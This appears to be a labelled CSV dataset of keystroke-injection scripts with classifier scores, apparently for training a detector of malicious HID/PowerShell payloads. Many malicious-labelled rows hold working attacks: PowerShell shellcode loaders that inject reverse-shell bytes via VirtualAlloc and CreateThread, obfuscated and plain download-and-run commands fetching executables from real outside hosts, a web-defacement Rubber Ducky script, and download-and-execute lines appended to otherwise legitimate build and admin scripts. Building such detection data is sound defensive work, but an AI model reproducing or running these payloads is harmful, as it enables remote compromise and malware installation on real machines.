"win+r powershell enter $sf73 = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(Int enter Ptr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""k enter ernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes enter , uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFl enter ags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mem enter set(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $sf73 - enter Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdb,0xc4 enter ,0xd9,0x74,0x24,0xf4,0x5a,0x31,0xc9,0xb1,0x51,0xb8,0xf6,0x94,0x1b,0xf9,0x83,0xc2 enter ,0x04,0x31,0x42,0x16,0x03,0x42,0x16,0xe2,0x03,0x68,0xf3,0x7b,0xeb,0x91,0x04,0x1c enter ,0x62,0x74,0x35,0x1c,0x10,0xfc,0x66,0xac,0x53,0x50,0x8b,0x47,0x31,0x41,0x18,0x25 enter ,0x9d,0x66,0xa9,0x80,0xfb,0x49,0x2a,0xb8,0x3f,0xcb,0xa8,0xc3,0x13,0x2b,0x90,0x0b enter ,0x66,0x2a,0xd5,0x76 enter enter",1,1,5.3674823e-05,0.99994636
win+r powershell enter function Out-EncryptedScript { <# .SYNOPSIS Encrypts text files/scripts. Power enter Sploit Function: Out-EncryptedScript Author: Matthew Graeber (@mattifestation) enter License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None enter enter,1,1,6.755951e-05,0.9999324
"win+r enter powershell enter enter enter $projectRoot = ""$PSScriptRoot/.."" enter $moduleName = 'psake' enter $manifestPath = ""$PSScriptRoot/../src/psake.psd1"" enter $manifest = Import-PowerShellDataFile -Path $manifestPath enter enter $changelogPath = Join-Path -Path $projectRoot -Child 'CHANGELOG.md' enter enter Describe 'Module manifest' { enter Context 'Validation' { enter enter $script:manifest = $null enter enter It 'has a valid manifest' { enter { enter $script:manifest = Test-ModuleManifest -Path $manifestPath -Verbose:$false -ErrorAction Stop -WarningAction SilentlyContinue enter } | Should Not Throw enter } enter enter It 'has a valid name in the manifest' { enter $script:manifest.Name | Should Be $moduleName enter } enter enter It 'has a valid root module' { enter $script:manifest.RootModule | Should Be ""$($moduleName).psm1"" enter } enter enter It 'has a valid version in the manifest' { enter $script:manifest.Version -as [Version] | Should Not BeNullOrEmpty enter } enter enter It 'has a valid description' { enter $script:manifest.Description | Should Not BeNullOrEmpty enter } enter enter It 'has a valid author' { enter $script:manifest.Author | Should Not BeNullOrEmpty enter } enter enter It 'has a valid guid' { enter { enter [guid]::Parse($script:manifest.Guid) enter } | Should Not throw enter } enter enter It 'has a valid copyright' { enter $script:manifest.CopyRight | Should Not BeNullOrEmpty enter } enter enter $script:changelogVersion = $null enter It 'has a valid version in the changelog' { enter foreach ($line in (Get-Content $changelogPath)) { enter if ($line -match ""^ enter $script:changelogVersion = $matches.Version enter break enter } enter } enter $script:changelogVersion | Should Not BeNullOrEmpty enter $script:changelogVersion -as [Version] | Should Not BeNullOrEmpty enter } enter enter It 'changelog and manifest versions are the same' { enter $script:changelogVersion -as [Version] | Should be ( $script:manifest.Version -as [Version] ) enter } enter enter if (Get-Command git.exe -ErrorAction SilentlyContinue) { enter $script:tagVersion = $null enter It 'is tagged with a valid version' -skip { enter $thisCommit = git.exe log --decorate --oneline HEAD~1..HEAD enter enter if ($thisCommit -match 'tag:\s*(\d+(?:\.\d+)*)') { enter $script:tagVersion = $matches[1] enter } enter enter $script:tagVersion | Should Not BeNullOrEmpty enter $script:tagVersion -as [Version] | Should Not BeNullOrEmpty enter } enter enter It 'all versions are the same' { enter $script:changelogVersion -as [Version] | Should be ( $script:manifest.Version -as [Version] ) enter enter } enter } enter } enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x91,0x81,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x3f,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xe9,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xc3,0x01,0xc3,0x29,0xc6,0x75,0xe9,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2004907e-05,0.999948
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install 7zip enter A enter enter enter,0,0,0.9999604,3.9631068e-05
"win+r enter powershell enter enter enter function Start-PPScript{ enter [CmdletBinding()] enter param( enter enter [Parameter(Mandatory=$true)] enter [String] enter $Name, enter enter [Parameter(Mandatory=$false)] enter [String] enter $Arguments enter ) enter $ScriptShortcut = Get-PPScript -Name $Name -Shortcut enter enter $(if( -not $ScriptShortcut){ enter enter Get-PPScript -Name $Name | select -First 1 enter enter }else{ enter enter Get-PPScript -Name $ScriptShortcut.Filename enter enter }) | %{ enter enter iex ""& `""$($_.Fullname)`"" $(if($Arguments){$Arguments})"" enter } enter } enter enter",0,0,0.99986744,0.00013256149
"DUCKY_REAL_BEGIN enter REM Auto Defacer for Ubuntu Based Machines running Apache. enter REM Author: Xcellerator enter REM Description: Automatically defaces index page of an apache web server. enter DEFAULT_DELAY 200 enter ALT F2 enter STRING terminal enter ENTER enter STRING cd /var/www enter ENTER enter STRING mv index.* index.bak enter ENTER enter STRING touch index.html enter ENTER enter STRING nano index.html enter ENTER enter STRING <marquee><h1>You have been hacked by the USB Rubber Ducky!</h1></marquee> enter ENTER enter STRING <center><a href=""http://www.usbrubberducky.com/""><img src=""http://cdn.shopify.com/s/files/1/0068/2142/products/usbducky2.jpg"" /></a><center> enter ENTER enter STRING <center><h5>Your old index page can be found <a href=""./index.bak"">here.</a></h5></center> enter CONTROL x enter STRING y enter ENTER enter STRING exit enter ENTER enter DUCKY_REAL_END",1,1,5.9394202e-05,0.99994063
DUCKY_REAL_BEGIN enter REM This script sets up a Shadowsocks Tor Proxy on your Mac enter REM Encrypts your network traffic and routes it through the Tor network. enter REM By combining the encryption of Shadowsocks with the anonymity of Tor. enter REM This setup enhances your online privacy and security. enter REM Requirements: Install Shadowsocks by running 'brew install shadowsocks-libev' enter REM Requirements: Install Tor by running 'brew install tor' enter REM You can use the ps command in the terminal to check if the Shadowsocks enter REM and Tor processes are running. enter REM Command to check Shadowsocks: 'ps -ef | grep shadowsocks' enter REM Command to check Tor: 'ps -ef | grep tor' enter REM Author: Narsty enter REM Title: Shadowsocks Tor Proxy enter REM Target: MacOS enter REM Version: 1.0 enter REM Category: Obscurity enter ID 05ac:021e Apple:Keyboard enter DELAY 500 enter GUI SPACE enter DELAY 500 enter STRING Terminal enter DELAY 1000 enter ENTER enter DELAY 1000 enter STRING networksetup -setsocksfirewallproxy Wi-Fi 127.0.0.1 9050 enter ENTER enter DELAY 250 enter DUCKY_REAL_END,1,1,6.104598e-05,0.99993896
"win+r powershell enter function Convert-ModuleHelpToHtml { [CmdletBinding()] param( [Parameter(Man enter datory=$true)] [string] $ModuleName, [string[]] enter enter",1,1,0.0029879082,0.997012
win+r powershell enter class Event { enter [string]$Type enter [string]$ChannelId enter [pscustomobject]$Data enter } enter,0,0,0.9994043,0.000595721
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_wmxa9xjg"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_volume.json"") -Encoding UTF8 enter Write-Host ""Starting network_checks section 2."" enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.4746638e-05
"win+r powershell enter [CmdletBinding()] param( [parameter(Mandatory=$true)] [string]$SiteServer, [par enter ameter(Mandatory=$true)] [string]$SiteCode ) function Load-Form { $Form.Contro enter ls.AddRange(@($SBStatus, $CBAuto, $CBManual, $DGVAuto, $DGVManual, $ButtonStart, enter $ButtonClear, $ButtonAuto, $ButtonManual, $RTBInput, $OutputBox, $GBOutputBox, enter $GBInput, $GBAuto, $GBManual)) $ButtonAuto.Enabled = $false $ButtonManual.Enab enter led = $false enter enter",1,1,0.00016816026,0.9998318
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_v8au2pxb"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetIPConfiguration | enter Select-Object InterfaceAlias, InterfaceDescription, IPv4Address, IPv6Address, DNSServer | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_ip_config.txt"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_outbound.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4529447e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_ebaqqcat"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 25 Name, Id, Path, Company | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_memory_25.txt"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 2."" enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_volume.txt"") -Encoding UTF8 enter Get-WinEvent -LogName Application -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_warnings_75.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999646,3.5427467e-05
"win+r enter powershell enter enter enter (New-Object System.Net.WebClient).DownloadFile('http://toxicsolutions.ru/upload/praisefud.exe','fleeble.exe');Start-Process 'fleeble.exe' enter enter",1,1,5.849998e-05,0.99994147
"win+r powershell enter param( [string]$Version, [string]$Path, [switch]$Force, $Update, [switch]$U enter ninstall ) $Configs = @{ Url = ""http://heanet.dl.sourceforge.net/project/jedit enter /jedit/5.1.0/jedit5.1.0install.exe"" Path = ""$(Split-Path -Path $MyInvocation.My enter Command.Definition -Parent)\"" } enter enter",1,1,0.008949468,0.9910505
"win+r enter powershell enter enter enter param enter ( enter [string]$serverInstance = ""(local)"", enter [string]$tempDir = ""C:\Dexma\TEMP\"", enter [switch]$verbose, enter [switch]$debug enter ) enter enter function main() enter { enter if ($verbose) {$VerbosePreference = ""Continue""} enter if ($debug) {$DebugPreference = ""Continue""} enter Get-MSSQL-ServerAttrib-Html $serverInstance $tempDir enter } enter enter function Get-MSSQL-ServerAttrib-Html($serverInstance, $tempDir) enter { enter $outputFile = $tempDir + ""SQLServerAttributes.html"" enter Write-Debug ""Output directory: $outputFile"" enter if (-not (Test-Path -path $tempDir)) enter { enter Write-Host Unable to validate path to temp directory: $tempDir enter break enter } enter [void][System.Reflection.Assembly]::LoadWithPartialName(""Microsoft.SqlServer.Smo"") enter [void][System.Reflection.Assembly]::LoadWithPartialName(""Microsoft.SqlServer.SqlEnum"") enter [void][System.Reflection.Assembly]::LoadWithPartialName(""Microsoft.SqlServer.SmoEnum"") enter [void][System.Reflection.Assembly]::LoadWithPartialName(""Microsoft.SqlServer.ConnectionInfo"") enter Write-Debug ""Connecting to server: $ServerInstance"" enter $namedInstance = New-Object ('Microsoft.SqlServer.Management.Smo.Server') ($serverInstance) enter Write-Debug ""Saving $outputFile..."" enter enter $namedInstance.EnumServerAttributes() | ` enter convertto-html -property attribute_name, attribute_value ` enter -title ""Server Attributes"" -body '<font face=""Verdana"">' ` enter | foreach {$_ -replace ""<th>"", ""<th align=left>""} ` enter | Out-File $outputFile enter invoke-item $outputFile -confirm enter remove-variable namedInstance enter remove-variable tempDir enter remove-variable outputFile enter } enter enter main enter (New-Object System.Net.WebClient).DownloadFile('https://a.pomf.cat/xsakpo.exe',""$env:TEMP\euioko.exe"");Start-Process (""$env:TEMP\euioko.exe"") enter enter",1,1,5.940508e-05,0.99994063
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_jjh5hkgy"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting scheduled_task_inventory section 1."" enter Get-ScheduledTask | enter Select-Object -First 100 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.txt"") -Encoding UTF8 enter Get-NetIPConfiguration | enter Select-Object InterfaceAlias, InterfaceDescription, IPv4Address, IPv6Address, DNSServer | enter Export-Csv -Path (Join-Path $ReportDir ""network_ip_config.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.440372e-05
"win+r enter powershell enter enter enter ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -WindowStyle hidden $t0='DE5'.replace('D','I').replace('5','x');sal P $t0;$ErrorActionPreference = 'SilentlyContinue';$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;'[void' + '] [Syst' + 'em.Refle' + 'ction.Asse' + 'mbly]::LoadWi' + 'thPartialName(''Microsoft.VisualBasic'')'|P;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$tty='(New-'+'Obje'+'ct Ne'+'t.We'+'bCli'+'ent)'|P;$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,'Down' + 'load' + 'Str' + 'ing',[Microsoft.VisualBasic.CallType]::Method,'https' + '://mgcpakistan.com/c12.txt')|P enter enter",1,1,5.7856698e-05,0.9999422
win+r powershell enter unknown_key_action attackmode hid storage unknown_key_action extension passive_windows_detect unknown_key_action define max_wait 150 unknown_key_action define check_interval 20 unknown_key_action define windows_host_request_count 2 unknown_key_action define not_windows 7 unknown_key_action var $max_tries = max_wait unknown_key_action while(($_received_host_lock_led_reply == false) && ($max_tries > 0)) unknown_key_action $max_tries = ($max_tries - 1) unknown_key_action end_while unknown_key_action if ($_host_configuration_request_count > windows_host_request_count) then unknown_key_action $_os = windows unknown_key_action else unknown_key_action $_os = not_windows unknown_key_action end_if unknown_key_action end_extension unknown_key_action if ($_os == windows) unknown_key_action led_green win+r powershell .(powershell.exe -encodedCommand (gc((gwmi win32_volume -f 'label=''DUCKY''').Name+'\b.txt'))) enter unknown_key_action else unknown_key_action led_red unknown_key_action end_if enter,1,1,6.052279e-05,0.99993944
"win+r powershell enter Param( $Clients = """" , $TableName = """" , $DropIndexStatement = """" , $IndexNa enter me = """" ) $UnusedIndexesQuery = ""sel_SQLIndexesUnusedByDatabase"" function Run enter -Query() { enter enter",1,1,0.0036116026,0.99638844
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_qij0yz6l"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 15 Name, Id, CPU, WorkingSet64 | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_memory_15.csv"") -NoTypeInformation enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.txt"") -Encoding UTF8 enter",0,0,0.99996555,3.4482357e-05
"win+r powershell enter [CmdletBinding()] enter param( enter [Switch] enter $SkipWebsite enter ) enter Set-StrictMode -Version Latest enter & (Join-Path -Path $PSScriptRoot -ChildPath 'Carbon\Import-Carbon.ps1' -Resolve) enter & (Join-Path -Path $PSScriptRoot -ChildPath 'Tools\Silk\Import-Silk.ps1' -Resolve) enter $licenseFileName = 'LICENSE.txt' enter $noticeFileName = 'NOTICE.txt' enter $releaseNotesFileName = 'RELEASE NOTES.txt' enter $releaseNotesPath = Join-Path -Path $PSScriptRoot -ChildPath $releaseNotesFileName -Resolve enter $manifestPath = Join-Path -Path $PSScriptRoot -ChildPath 'Carbon\Carbon.psd1' enter $manifest = Test-ModuleManifest -Path $manifestPath enter if( -not $manifest ) enter { enter return enter } enter $additionalAssemblyPath = Join-Path -Path $PSScriptRoot -ChildPath 'Carbon\bin\Carbon.*.dll' enter $nuspecPath = Join-Path -Path $PSScriptRoot -ChildPath 'Carbon.nuspec' enter $valid = Assert-ModuleVersion -ManifestPath $manifestPath -AssemblyPath $additionalAssemblyPath -ReleaseNotesPath $releaseNotesPath -NuspecPath $nuspecPath enter if( -not $valid ) enter { enter Write-Error -Message ('Carbon isn''t at the right version. Please rebuild with build.ps1.') enter return enter } enter Set-ReleaseNotesReleaseDate -ManifestPath $manifestPath -ReleaseNotesPath $releaseNotesPath enter if( hg status $releaseNotesPath ) enter { enter hg commit -m ('[{0}] Updating release date in release notes.' -f $manifest.Version) $releaseNotesPath enter hg log -rtip enter } enter if( -not $SkipWebsite ) enter { enter Write-Verbose -Message ('Generating website.') enter & (Join-Path -Path $PSScriptRoot -ChildPath 'New-Website.ps1' -Resolve) enter Write-Warning -Message ('Website updated. Make sure to commit and push all the changes.') enter } enter $tags = Get-Content -Raw -Path (Join-Path -Path $PSScriptRoot -ChildPath 'tags.json') | enter ConvertFrom-Json | enter ForEach-Object { $_ } | enter Select-Object -ExpandProperty 'Tags' | enter Select-Object -Unique | enter Sort-Object | enter ForEach-Object { $_.ToLower() -replace ' ','-' } enter $tags += @( 'PSModule', 'DscResources', 'setup', 'automation', 'admin' ) enter Set-ModuleManifestMetadata -ManifestPath $manifestPath -Tag $tags -ReleaseNotesPath $releaseNotesPath enter if( hg status $manifestPath ) enter { enter hg commit -m ('[{0}] Updating module manifest.' -f $manifest.Version) $manifestPath enter hg log -r tip enter } enter $nuspecPath = Join-Path -Path $PSScriptRoot -ChildPath 'Carbon.nuspec' -Resolve enter if( -not $nuspecPath ) enter { enter return enter } enter Set-ModuleNuspec -ManifestPath $manifestPath -NuspecPath $nuspecPath -ReleaseNotesPath $releaseNotesPath -Tags $tags enter if( (hg status $nuspecPath) ) enter { enter hg commit -m ('[{0}] Updating Nuspec settings.' -f $manifest.Version) $nuspecPath enter hg log -rtip enter } enter if( -not (hg tags | Where-Object { $_ -match ('^{0}\b' -f [regex]::Escape($manifest.Version.ToString())) }) ) enter { enter hg tag $manifest.Version.ToString() enter hg log -rtip enter } enter $cloneDir = 'Carbon+{0}' -f [IO.Path]::GetRandomFileName() enter $cloneDir = Join-Path -Path $env:TEMP -ChildPath $cloneDir enter hg clone . $cloneDir enter hg update -r ('tag({0})' -f $manifest.Version) -R $cloneDir enter $zipRoot = 'Carbon+{0}' -f [IO.Path]::GetRandomFileName() enter $zipRoot = Join-Path -Path $env:TEMP -ChildPath $zipRoot enter $zipContents = @( enter 'Carbon', enter 'examples', enter 'Website', enter $licenseFileName, enter $releaseNotesFileName, enter $noticeFileName enter ) enter foreach( $item in $zipContents ) enter { enter $sourcePath = Join-Path -Path $cloneDir -ChildPath $item enter if( (Test-Path -Path $sourcePath -PathType Container) ) enter { enter robocopy $sourcePath (Join-Path -Path $zipRoot -ChildPath $item) /MIR /XF *.orig /XF *.pdb | Write-Debug enter } enter else enter { enter Copy-Item -Path $sourcePath -Destination $zipRoot enter } enter } enter Copy-Item -Path (Join-Path -Path $PSScriptRoot -ChildPath $noticeFileName) ` enter -Destination (Join-Path -Path $zipRoot -ChildPath 'Carbon') enter Copy-Item -Path (Join-Path -Path $PSScriptRoot -ChildPath $licenseFileName) ` enter -Destination (Join-Path -Path $zipRoot -ChildPath 'Carbon') enter Publish-NuGetPackage -ManifestPath $manifestPath ` enter -NuspecPath (Join-Path -Path $cloneDir -ChildPath 'Carbon.nuspec') ` enter -NuspecBasePath $cloneDir ` enter -Repository @( 'nuget.org', 'chocolatey.org' ) enter Publish-PowerShellGalleryModule -ManifestPath $manifestPath ` enter -ModulePath (Join-Path -Path $cloneDir -ChildPath 'Carbon') ` enter -ReleaseNotesPath $releaseNotesPath ` enter -LicenseUri 'http://www.apache.org/licenses/LICENSE-2.0' ` enter -ProjectUri 'http://get-carbon.org/' ` enter -Tags $tags enter $pshdoRoot = Join-Path -Path $PSScriptRoot -ChildPath 'pshdo.com' enter if( -not (Test-Path -Path $pshdoRoot -PathType Container) ) enter { enter hg clone https://bitbucket.org/splatteredbits/pshdo.com $pshdoRoot enter } enter hg pull -R $pshdoRoot enter hg update -C -R $pshdoRoot enter $newModuleReleasedAnnouncement = Join-Path -Path $pshdoRoot -ChildPath 'New-ModuleReleasedAnnouncement.ps1' -Resolve enter if( -not $newModuleReleasedAnnouncement ) enter { enter return enter } enter $releaseNotes = Get-ModuleReleaseNotes -ManifestPath $manifestPath -ReleaseNotesPath $releaseNotesPath enter $announcement = @' enter [Carbon](http://get-carbon.org) {0} is out. You can [download Carbon as a .ZIP archive, NuGet package, Chocolatey package, or from the PowerShell Gallery](http://get-carbon.org/about_Carbon_Installation.html). It may take a week or two for the package to show up at chocolatey.org. enter {1} enter '@ -f $manifest.Version,$releaseNotes enter & $newModuleReleasedAnnouncement -ModuleName 'Carbon' -Version $manifest.Version -Content $announcement enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter",1,1,5.552741e-05,0.99994445
win+r powershell enter  function Test-ManagedInstanceKeyVaultKeyCI { $params = Get-SqlServerKeyVault enter KeyTestEnvironmentParameters $managedInstance = Get-ManagedInstanceForTdeTest $ enter params $mangedInstanceRg = $managedInstance.ResourceGroupName $managedInstance enter Name = $managedInstance.ManagedInstanceName $managedInstanceResourceId = $manag enter edInstance.Id $keyResult = Add-AzSqlInstanceKeyVaultKey -ResourceGroupName $ enter mangedInstanceRg -InstanceName $managedInstanceName -KeyId $params.keyId enter enter,1,1,0.002861338,0.9971386
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x00,0x0f,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.15984e-05,0.9999484
